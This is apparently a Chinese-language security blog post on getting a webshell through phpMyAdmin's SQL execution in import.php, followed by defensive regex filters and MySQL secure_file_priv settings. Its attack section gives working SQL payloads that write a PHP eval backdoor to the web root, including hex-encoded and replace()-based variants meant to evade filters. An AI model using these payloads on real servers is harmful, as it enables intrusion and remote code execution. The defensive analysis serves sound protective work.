Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk
目录
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性
0x1: Mysql SQL预编译(PREPARE Syntax)
/*
1. stmt_name: The PREPARE statement prepares a SQL statement and assigns it a name, stmt_name, by which to refer to the statement later.
2. preparable_stmt: preparable_stmt is either a string literal or a user variable that contains the text of the SQL statement. The text must represent a single statement, not multiple statements.
*/
PREPARE stmt_name FROM preparable_stmt
0x2: Mysql SQL执行(EXECUTE Syntax)
EXECUTE stmt_name
[USING @var_name [, @var_name] ...]
//After preparing a statement with PREPARE, you execute it with an EXECUTE statement that refers to the prepared statement name. If the prepared statement contains any parameter markers, you must supply a USING clause that lists user variables containing the values to be bound to the parameters.
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/prepare.html
https://dev.mysql.com/doc/refman/5.0/en/execute.html
http://zone.wooyun.org/content/22606
2. 漏洞触发条件
. 已知phpmyadmin的root密码,即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
) mysql本身默认的弱口令
) 通过其他漏洞(例如注入)获得了mysql的root密码
. 已知网站的物理路径
) 在phpmyadmin的后台的"变量"tab页面,可以看到mysql的物理路径,从而推测出网站的物理路径
) 通过其他web漏洞获得网站的物理路径
通过phpmyadmin进行getshell的核心就是通过sql进行文件写的操作,常见的sql如下
-------
DROP TABLE IF EXISTS `a`;
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('xx');
select cmd from a into outfile 'C:/phpStudy/WWW/ali.php'
Drop TABLE IF EXISTS a;
------- -------
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
------- -------
set @strSql = replace("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/WWW/phpMyAdmin/alibaba.php'","outo","into");
prepare a from @strSql;
execute a;
------- -------
//select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
SET @SQLString = 0x73656c65637420273c3f70687020406576616c28245f504f53545b706173735d293b3f3e27494e544f204f555446494c452027643a2f77616d702f7777772f6578656861636b2e70687027;
PREPARE test FROM @SQLString;
EXECUTE test;
------- -------
//declared mysql function
use test;
delimiter $$
CREATE FUNCTION myFunction
(in_string VARCHAR())
RETURNS VARCHAR() BEGIN
DECLARE new_string VARCHAR();
SET new_string = replace(in_string,"outo","into");
RETURN(new_string);
END$$ //hack
delimiter ;
SET @SQLString = test.myFunction("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/alibaba.php'");
PREPARE test FROM @SQLString;
EXECUTE test;
-------
Relevant Link:
http://www.exehack.net/681.html
http://www.exehack.net/99.html
http://www.187299.com/archives/1695
3. 漏洞影响范围
全部phpmyadmin版本
4. 漏洞代码分析
/phpMyAdmin/import.php
所有处理用户自定义SQL解析执行的逻辑都在这个PHP文件中实现
/*
this code point is important
$import_text is the one that need to be check strictly
*/
if ($go_sql)
{
// parse sql query
include_once 'libraries/parse_analyze.inc.php'; if (isset($ajax_reload) && $ajax_reload['reload'] === true)
{
$response = PMA_Response::getInstance();
$response->addJSON('ajax_reload', $ajax_reload);
}
PMA_executeQueryAndSendQueryResponse(
$analyzed_sql_results, false, $db, $table, null, $import_text, null,
$analyzed_sql_results['is_affected'], null,
null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
null, null
);
}
else if ($result)
{
// Save a Bookmark with more than one queries (if Bookmark label given).
if (! empty($_POST['bkm_label']) && ! empty($import_text))
{
PMA_storeTheQueryAsBookmark(
$db, $GLOBALS['cfg']['Bookmark']['user'],
$import_text, $_POST['bkm_label'],
isset($_POST['bkm_replace']) ? $_POST['bkm_replace'] : null
);
} $response = PMA_Response::getInstance();
$response->isSuccess(true);
$response->addJSON('message', PMA_Message::success($msg));
$response->addJSON(
'sql_query',
PMA_Util::getMessage($msg, $sql_query, 'success')
);
}
else if ($result == false)
{
$response = PMA_Response::getInstance();
$response->isSuccess(false);
$response->addJSON('message', PMA_Message::error($msg));
}
else
{
$active_page = $goto;
include '' . $goto;
}
5. 防御方法
对变量$import_text进行恶意检查是我们针对phpmyadmin执行sql导出文件getshell攻击的防御思路
/phpMyAdmin/import.php
} elseif (! empty($id_bookmark)) {
// run bookmark
$import_type = 'query';
$format = 'sql';
}
//在文件的最开头进行SQL恶意检测,最大程度地兼容所有pmd的sql解析、执行逻辑
if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $import_text, $matches)) { $erromsg = "request error!" . "</br>" . $matches[]; die($erromsg); }
//file name filter
$matchResult = preg_match_all("#\b(0[xX]){0,1}[0-9a-fA-F]+\b#", $import_text, $matchs);
if($matchResult != && $matchResult != FALSE)
{
foreach ($matchs[] as $key => $value)
{
$hex = substr($value, );
$import_text_hex = hex2bin($hex);
if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)#i', strtolower($import_text_hex), $matches_1)) { $pmderromsg = "request error!" . "</br>" . $matches_1[]; die($pmderromsg); }
}
}
要特别注意的是,在使用PHP的正则匹配引擎的时候,需要考虑到换行场景下的bypass风险
还需要注意的,MYSQL存在很多扩展语法,例如
. 定义存储过程
. 定义函数
. 定义触发器
. 使用语法预处理编译
/*
prepare stmt from 'select count(*) from information_schema.schemata';
这里待编译的sql语句也可以进行字符变形以此进行bypass
execute stmt;
*/
从攻防的本质上来讲,phpmyadmin的自定义sql导出shell接口这里的修复只是防御了攻击的一条向量,黑客还可以通过其他的攻击向量发起攻击
. 通过mysql弱口令,进mysql,添加一个账户,开启远程外连
. 通过mysql命令行连接之后,通过命令行执行sql导出文件
要想做到彻底防御,要从多个角度入手进行防御
. 对phpmyadmin的/import.php进行代码层防御,禁止用户执行导出文件相关的GETSHELL
. 对mysql的弱口令密码进行健康检测,提示管理员修改密码
. 使用主动防御Hook技术,接管文件系统,禁止mysql进行写xxx.php文件
0x2: 权限ACL控制
mysql5.7以后新增了对文件操作的ACL控制
| Command-Line Format | --secure-file-priv=dir_name |
||
| System Variable | Name | secure_file_priv |
|
| Variable Scope | Global | ||
| Dynamic Variable | No | ||
| Permitted Values (<= 5.7.5) | Type | string | |
| Default | empty |
||
| Valid Values | empty |
||
dirname |
|||
| Permitted Values (>= 5.7.6) | Type | string | |
| Default | platform specific |
||
| Valid Values | empty |
||
dirname |
|||
NULL |
|||
默认情况下,利用mysql文件导出写shell会遇到如下错误

需要手工添加信任目录
Relevant Link:
http://php.net/manual/en/function.preg-match.php#111573
http://blog.sina.com.cn/s/blog_3fe961ae01013r8f.html
https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk的更多相关文章
- getshell技巧-phpMyAdmin的利用
生活就是泥沙俱下,鲜花和荆棘并存.--毕淑敏 1.明确目标2.信息收集3.漏洞挖掘和利用 信息收集 明确路径 利用目录扫描工具,对目标网站进行扫描,获取网站目录.常用工具有Kali中的DirBuste ...
- TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded
TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded plsql_timeout连接超时,解决办法: ODBC pl/sql选项卡 修 ...
- sql server数据库字段名要注意不能叫file
sql server数据库字段名要注意不能叫file 如java 中 private string file,这是sql 的关键字
- PL/SQL developer export/import (转)
export/import图标为灰色:原因:相关应用程序没有关联菜单栏 --> Tools --> Import Tables... --> Oracle Import Export ...
- [转载] Can't create table './store/#sql-b2c_1a.frm' (errno: 150)和sql execution error #1452添加外键时错误解决方法
Can't create table './store/#sql-b2c_1a.frm' (errno: 150)解决方法 错误原因有四: 1.外键的引用类型不一样,主键是int外键是char 2.找 ...
- Error:Execution failed for task ':app:mergeDebugResources'. > Error: Some file crunching failed, see logs for details
android studio中的资源文件命名是不能带有数字的,因为会与R类的资源ID起冲突,所以编译就发生了错误.
- Spark2.x(六十一):在Spark2.4 Structured Streaming中Dataset是如何执行加载数据源的?
本章主要讨论,在Spark2.4 Structured Streaming读取kafka数据源时,kafka的topic数据是如何被执行的过程进行分析. 以下边例子展开分析: SparkSession ...
- Python信息采集器使用轻量级关系型数据库SQLite
1,引言Python自带一个轻量级的关系型数据库SQLite.这一数据库使用SQL语言.SQLite作为后端数据库,可以搭配Python建网站,或者为python网络爬虫存储数据.SQLite还在其它 ...
- python快速教程-vamei
2016年10月26日 12:00:53 今天开始着手python的学习,希望能高效快速的学完! Python基础(上)... 7 实验简介... 7 一.实验说明... 8 1. 环境登录... 8 ...
随机推荐
- MySQL分表(Partition)学习研究报告
最近在开发一个新的项目,可能会产生大数据量,需要对部分表进行分表操作,故来研究学习MySQL的分表功能. 由于实验报告已经写成Exlce文件了,各位看过就直接下载吧:MySQL分表分析报告.xls 以 ...
- ImageMagick常用指令详解
Imagemagick常用指令 (ImageMagick--蓝天白云) (ImageMagick官网) (其他比较有价值的IM参考) (图片自动旋转的前端实现方案) convert 转换图像格式和大小 ...
- WPF中的数据验证
数据验证 WPF的Binding使得数据能够在数据源和目标之间流通,在数据流通的中间,便能够对数据做一些处理. 数据转换和数据验证便是在数据从源到目标 or 从目标到源 的时候对数据的验证和转换. V ...
- 数据字典生成工具之旅(4):NPOI操作EXECL
这篇会介绍NPOI读写EXECL,读写EXECL的组件很多,可以使用微软自己的COM组件EXECL.exe读写,不过这种方式限制很大. 1:客户环境必须装Office(虽然现在机子上不装Office的 ...
- 完全背包变型题(hdu5410)
这是2015年最后一场多校的dp题,当时只怪自己基础太差,想了1个多小时才想出来,哎,9月份好好巩固基础,为区域赛做准备.题目传送门 题目的意思是给你n元钱,m类糖果,每类糖果分别有p, a, b, ...
- BatsingJSLib 2.3、Ajax上传多个文件
//2.3Ajax上传单个或多个文件 //<input type="file" multiple="multiple"/> //参数:文件的表单JD ...
- swagger editor使用
swagger editor使用 swagger是一套开源的API设计工具,包括Swagger UI,Swagger Editor等. Swagger Editor 其中Swagger Editor是 ...
- Android内容观察者
内容观察者是做什么的? 内容观察者主要用来观察数据库是否被操作了. 以查询数据库为例: 首先注册一个内容观察者(App1): //false 观察的Uri必须是一个确切的Uri 如果是true,只需要 ...
- hdu5481 Desiderium
链接 Desiderium 题意 给定n条线段,从中选取若干条,共有2n种选法(因为每一条线段有两种方法:选或者不选). 每一种选法都对应一个长度,也就是所选线段的并集长度. 求这2n种选法长度之和. ...
- 【前端积累】createElement createTextNode
<!DOCTYPE html> <html><!--树根--> <head> <meta charset="utf-8"> ...